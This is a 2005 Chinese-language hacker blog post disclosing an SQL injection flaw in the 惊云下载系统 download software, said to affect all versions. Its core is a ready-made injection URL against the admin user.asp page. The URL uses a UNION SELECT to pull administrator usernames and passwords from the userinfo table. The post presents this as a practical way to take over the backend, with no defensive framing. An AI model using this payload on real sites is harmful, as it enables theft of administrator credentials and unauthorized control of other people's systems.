2005-11-10 22:04:50 by: h4x0r

惊云下载系统通杀漏洞

Font Size: Large | Medium | Small
漏洞发现:深白色[L.U.C]中国蓝客联盟
漏洞程序:惊云下载系统
漏洞类型:SQL注入
影响版本:所有版本
漏洞资料:

惊云下载系统可说是漏洞百出啊!但下面这种方法可是最实用的!

这个漏洞方法大家可能不陌生吧.

但对惊云下载系统全部版本绝对有很大的杀伤利!

来看看吧,直接得到后台管理员帐号密码

测试方法:

http://惊云下载系统......??/admin/user.asp?user=test'%20union%20select%201,2,3,4,user,6,pwd,8,9,10,11,12,13,%2014%20from%20userinfo%20where%20dj=3%20and%20'1'='1
Comments Feed Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=32

There is no comment on this article.

Post Comment
Smilies
[smile] [confused] [cool] [cry]
[eek] [angry] [wink] [sweat]
[lol] [stun] [razz] [redface]
[rolleyes] [sad] [yes] [no]
[heart] [star] [music] [idea]
Enable UBB Codes
Auto Convert URL
Show Smilies
Hidden Comment
Username:   Password:   Register Now?
Security Code * Please Enter the Security Code